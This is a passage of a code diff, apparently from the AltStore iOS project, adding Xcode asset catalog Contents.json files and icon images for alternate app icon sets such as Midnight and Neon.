},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 373 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 22 KiB |
|
After Width: | Height: | Size: 971 B |
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 2.3 KiB |
|
After Width: | Height: | Size: 4.0 KiB |
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 5.9 KiB |
|
After Width: | Height: | Size: 6.4 KiB |
|
After Width: | Height: | Size: 7.3 KiB |
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "shane.jpeg",
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
BIN
AltStore/Resources/Assets.xcassets/Midnight-image.imageset/icon-152.png
vendored
Normal file
|
After Width: | Height: | Size: 17 KiB |
@@ -0,0 +1,116 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 313 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 20 KiB |
|
After Width: | Height: | Size: 22 KiB |
|
After Width: | Height: | Size: 1011 B |
|
After Width: | Height: | Size: 1.6 KiB |
|
After Width: | Height: | Size: 2.4 KiB |
|
After Width: | Height: | Size: 4.0 KiB |
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 6.0 KiB |
|
After Width: | Height: | Size: 6.4 KiB |
|
After Width: | Height: | Size: 7.5 KiB |
12
AltStore/Resources/Assets.xcassets/Neon-image.imageset/Contents.json
vendored
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
BIN
AltStore/Resources/Assets.xcassets/Neon-image.imageset/icon-152.png
vendored
Normal file
|
After Width: | Height: | Size: 18 KiB |
116
AltStore/Resources/Assets.xcassets/Neon.appiconset/Contents.json
Normal file
@@ -0,0 +1,116 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||